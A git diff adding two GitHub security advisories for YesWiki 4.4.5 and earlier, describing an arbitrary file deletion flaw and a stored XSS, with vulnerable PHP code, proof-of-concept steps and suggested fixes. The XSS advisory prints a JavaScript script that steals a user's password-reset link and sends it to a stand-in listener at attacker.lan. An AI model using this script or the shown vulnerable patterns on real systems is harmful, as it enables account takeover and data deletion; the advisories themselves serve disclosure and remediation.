diff --git a/advisories/github-reviewed/2025/01/GHSA-43c9-gw4x-pcx6/GHSA-43c9-gw4x-pcx6.json b/advisories/github-reviewed/2025/01/GHSA-43c9-gw4x-pcx6/GHSA-43c9-gw4x-pcx6.json
new file mode 100644
index 00000000000..08d6f0fdbe7
--- /dev/null
+++ b/advisories/github-reviewed/2025/01/GHSA-43c9-gw4x-pcx6/GHSA-43c9-gw4x-pcx6.json
@@ -0,0 +1,68 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-43c9-gw4x-pcx6",
+ "modified": "2025-01-21T20:11:37Z",
+ "published": "2025-01-21T20:11:37Z",
+ "aliases": [
+ "CVE-2025-24019"
+ ],
+ "summary": "Authenticated arbitrary file deletion in YesWiki",
+ "details": "# Authenticated arbitrary file deletion in YesWiki <= 4.4.5\n\n### Summary\nIt is possible for any authenticated user, through the use of the filemanager to delete any file owned by the user running the FastCGI Process Manager (FPM) on the host without any limitation on the filesystem's scope.\n\nThis Proof of Concept has been performed using the followings:\n- YesWiki v4.4.5 (`doryphore-dev` branch, latest)\n- Docker environnment (`docker/docker-compose.yml`)\n- Docker v27.5.0\n- Default installation\n\n### Details\nThe vulnerability makes use of the `filemanager` that allows a user to manage files that are attached to a resource when they have owner permission on it. This part of the code is managed in `tools/attach/libs/attach.lib.php`\n\n```php\npublic function doFileManager($isAction = false)\n{\n $do = (isset($_GET['do']) && $_GET['do']) ? $_GET['do'] : '';\n switch ($do) {\n case 'restore':\n $this->fmRestore();\n $this->fmShow(true, $isAction);\n break;\n case 'erase':\n $this->fmErase();\n $this->fmShow(true, $isAction);\n break;\n case 'del':\n $this->fmDelete();\n $this->fmShow(false, $isAction);\n break;\n case 'trash':\n $this->fmShow(true, $isAction);\n break;\n case 'emptytrash':\n $this->fmEmptyTrash(); //pas de break car apres un emptytrash => retour au gestionnaire\n // no break\n default:\n $this->fmShow(false, $isAction);\n }\n}\n```\n\nThe **[fmErase()](https://github.com/YesWiki/yeswiki/blob/doryphore-dev/tools/attach/libs/attach.lib.php#L999)** function doesn't sanitize or verify the path that has been provided by the user in any way. Thus allowing a malicious user to specify any arbitrary file on the filesystem and having it deleted through the use of `unlink()` (as long as the user that runs the process has permission to delete it).\n\n```php\npublic function fmErase()\n{\n $path = $this->GetUploadPath();\n $filename = $path . '/' . ($_GET['file'] ? $_GET['file'] : '');\n if (file_exists($filename)) {\n unlink($filename);\n }\n}\n```\n\nIn addition to this deletion accross all the filesystem through `fmErase()`, it is also possible to delete any file attached to an existing wiki page, for instance, if user A creates a page and attaches images/documents to it, they always get uploaded to the files/ directory. If user B (malicious), knows the path of the files he can also arbitrarly delete them. (**[fmDelete()](https://github.com/YesWiki/yeswiki/blob/doryphore-dev/tools/attach/libs/attach.lib.php#L1011)** is also impacted by this case)\n\n### PoC\n#### 1. Environnement setup\n> The following actions have been performed as a privileged user\n\nFirst, let's create one user (in addition to the WikiAdmin user):\n\n\n\nRestrict the edition of 'PagePrincipale' wiki page to administrators only:\n\n\n\n#### 2. Upload of a file on a resource not owned by our user\n> The following actions have been performed as a privileged user\n\nSecond, let's upload a media to this `PagePrincipale` wiki page:\n\n\n\n\nThen view it in the page's filemanager:\n\n\n\nWe can confirm that our file has been uploaded to the `files/` directory by directly looking at the `yeswiki` container:\n\n\n\n#### 3. Arbitrary deletion (in files/)\n> The following actions have been performed using an unprivileged user\n\nNow, get the full path/name of the media in the files directory by opening it in a new tab:\n\n\n\nAfterwards, we need an instance of filemanager to be accessible to our user so we need to create a page that we own, here is used the agenda and the creation of a new event:\n\n\n\nCall the `erase` method on the PagePrincipale's uploaded media:\n\n\n\nThe media is now deleted from PagePrincipale (the button is shown when the attached media doesn't exist, it's an intended behaviour):\n\n\n\nIt has also disappeared from the `files/` directory:\n\n\n\nThis behaviour can be applied to **any** file under the `files/` directory.\n\n#### 4. Arbitrary deletion (in /tmp/)\n> The following actions have been performed using a privileged access\n\nFinally, using the same user as the process running the app, we create a file under the `/tmp` directory:\n\n\n\n> The following actions have been performed using an unprivileged user\n\nWe can once again call the `erase` method using a relative path:\n\n\n\nThe file isn't here anymore:\n\n\n\n### Impact\nThis vulnerability allows any authenticated user to arbitrarly remove content from the Wiki resulting in partial loss of data and defacement/deteroriation of the website. In the context of a container installation of YesWiki without any modification, the 'yeswiki' files (for example .php) are not owned by the same user (root) as the one running the FPM process (www-data). However in a standard installation, www-data may also be the owner of the PHP files, allowing a malicious user to completely cut the access to the wiki by deleting all important PHP files (like index.php or core files of YesWiki).\n\n### Suggestion of possible corrective measures\n\n- Restrict the possible paths of `fmErase()` to the `upload_path` directory.\n\n- Restrict the use of `fmErase()` to trashed files only.\n\n```php\npublic function fmErase()\n{\n $path = $this->GetUploadPath();\n $filename = $this->GetUploadPath() . '/' . basename(realpath(($_GET['file'] ? $_GET['file'] : ''))); //Sanitize file path\n if (file_exists($filename) && preg_match('/trash\\d{14}$/', $filename)) { //Make sure that the filename ends with trash and a date\n unlink($filename);\n }\n}\n```\n\n- Make sure that any request to `fmErase()` or `fmDelete()` originates from the owner of the resource to which the attachment is linked (asks a bit more than a few lines of code).\n\n",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H"
+ }
+ ],
+ "affected": [
+ {
+ "package": {
+ "ecosystem": "Packagist",
+ "name": "yeswiki/yeswiki"
+ },
+ "ranges": [
+ {
+ "type": "ECOSYSTEM",
+ "events": [
+ {
+ "introduced": "0"
+ },
+ {
+ "fixed": "4.5.0"
+ }
+ ]
+ }
+ ],
+ "database_specific": {
+ "last_known_affected_version_range": "<= 4.4.5"
+ }
+ }
+ ],
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-43c9-gw4x-pcx6"
+ },
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24019"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/YesWiki/yeswiki/commit/3ddd833d22703caf9025659eb174f7765df7147c"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/YesWiki/yeswiki"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-22"
+ ],
+ "severity": "HIGH",
+ "github_reviewed": true,
+ "github_reviewed_at": "2025-01-21T20:11:37Z",
+ "nvd_published_at": "2025-01-21T18:15:17Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/github-reviewed/2025/01/GHSA-w59h-3x3q-3p6j/GHSA-w59h-3x3q-3p6j.json b/advisories/github-reviewed/2025/01/GHSA-w59h-3x3q-3p6j/GHSA-w59h-3x3q-3p6j.json
new file mode 100644
index 00000000000..1fbcafb6847
--- /dev/null
+++ b/advisories/github-reviewed/2025/01/GHSA-w59h-3x3q-3p6j/GHSA-w59h-3x3q-3p6j.json
@@ -0,0 +1,72 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-w59h-3x3q-3p6j",
+ "modified": "2025-01-21T20:10:49Z",
+ "published": "2025-01-21T20:10:49Z",
+ "aliases": [
+ "CVE-2025-24018"
+ ],
+ "summary": "Authenticated Stored XSS in YesWiki",
+ "details": "# Authenticated Stored XSS in YesWiki <= 4.4.5\n\n### Summary\nIt is possible for an authenticated user with rights to edit/create a page or comment to trigger a stored XSS which will be reflected on any page where the resource is loaded.\n\nThis Proof of Concept has been performed using the followings:\n- YesWiki v4.4.5 (`doryphore-dev` branch, latest)\n- Docker environnment (`docker/docker-compose.yml`)\n- Docker v27.5.0\n- Default installation\n\n### Details\nThe vulnerability makes use of the content edition feature and more specifically of the `{{attach}}` component allowing users to attach files/medias to a page. When a file is attached using the `{{attach}}` component, if the resource contained in the `file` attribute doesn't exist, then the server will generate a file upload button containing the filename. \n\nThis part of the code is managed in `tools/attach/libs/attach.lib.php` and the faulty function is **[showFileNotExits()](https://github.com/YesWiki/yeswiki/blob/doryphore-dev/tools/attach/libs/attach.lib.php#L660)**.\n\n```php\npublic function showFileNotExits()\n{\n echo 'wiki->href('upload', $this->wiki->GetPageTag(), \"file=$this->file\") . '\" class=\"btn btn-primary\"> ' . _t('UPLOAD_FILE') . ' ' . $this->file . '';\n}\n```\n\nThe file name attribute is not properly sanitized when returned to the client, therefore allowing the execution of malicious JavaScript code in the client's browser.\n\n### PoC\n#### 1. Simple XSS\nHere is a working payload `{{attach file=\"\" desc=\"\" size=\"original\" class=\" whiteborder zoom\" nofullimagelink=\"1\"}}` tha works in pages and comments:\n\nOn a comment:\n\n\n\n\n\nOn a page:\n\n\n\n\n#### 2. Full account takeover scenario\nBy changing the payload of the XSS it was possible to establish a full acount takeover through a weak password recovery mechanism abuse ([CWE-460](https://cwe.mitre.org/data/definitions/640.html)). The following exploitation script allows an attacker to extract the password reset link of every logged in user that is triggered by the XSS:\n\n```javascript\nfetch('/?ParametresUtilisateur')\n .then(response => {\n return response.text();\n })\n .then(htmlString => {\n const parser = new DOMParser();\n const doc = parser.parseFromString(htmlString, 'text/html');\n const resetLinkElement = doc.querySelector('.control-group .controls a'); //dirty\n fetch('http://attacker.lan:4444/?xss='.concat(btoa(resetLinkElement.href)));\n })\n```\n\nPosting a comment using this specially crafted payload with a user account:\n\n\n\nAllows our administrator account's password reset link to be sent to the listener of the attacker:\n\n\n\n\nTherefore giving us access to an successful password reset for any account triggering the XSS:\n\n\n\n### Impact\nThis vulnerability allows any malicious authenticated user that has the right to create a comment or edit a page to be able to steal accounts and therefore modify pages, comments, permissions, extract user data (emails), thus impacting the integrity, availabilty and confidentiality of a YesWiki instance.\n\n### Suggestion of possible corrective measures\n- Sanitize properly the filename attribute\n\n```php\npublic function showFileNotExits()\n{\n $filename = htmlspecialchars($this->file);\n echo 'wiki->href('upload', $this->wiki->GetPageTag(), \"file=$filename\") . '\" class=\"btn btn-primary\"> ' . _t('UPLOAD_FILE') . ' ' . $filename . '';\n}\n```\n\n- Implement a stronger password reset mechanism through:\n + Not showing a password reset link to an already logged-in user. \n + Generating a password reset link when a reset is requested by a user, and only send it by mail.\n + Add an expiration/due date to the token\n\n- Implement a strong Content Security Policy to mitigate other XSS sinks (preferably using a random nonce)\n> The latter idea is expensive to develop/implement, but given the number of likely sinks allowing Cross Site Scripting in the YesWiki source code, it seems necessary and easier than seeking for any improperly sanitized user input.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L"
+ }
+ ],
+ "affected": [
+ {
+ "package": {
+ "ecosystem": "Packagist",
+ "name": "yeswiki/yeswiki"
+ },
+ "ranges": [
+ {
+ "type": "ECOSYSTEM",
+ "events": [
+ {
+ "introduced": "0"
+ },
+ {
+ "fixed": "4.5.0"
+ }
+ ]
+ }
+ ],
+ "database_specific": {
+ "last_known_affected_version_range": "<= 4.4.5"
+ }
+ }
+ ],
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-w59h-3x3q-3p6j"
+ },
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24018"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/YesWiki/yeswiki/commit/c1e28b59394957902c31c850219e4504a20db98b"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/YesWiki/yeswiki"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/YesWiki/yeswiki/blob/v4.4.5/tools/attach/libs/attach.lib.php#L660"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-79"
+ ],
+ "severity": "HIGH",
+ "github_reviewed": true,
+ "github_reviewed_at": "2025-01-21T20:10:49Z",
+ "nvd_published_at": "2025-01-21T17:15:16Z"
+ }
+}
\ No newline at end of file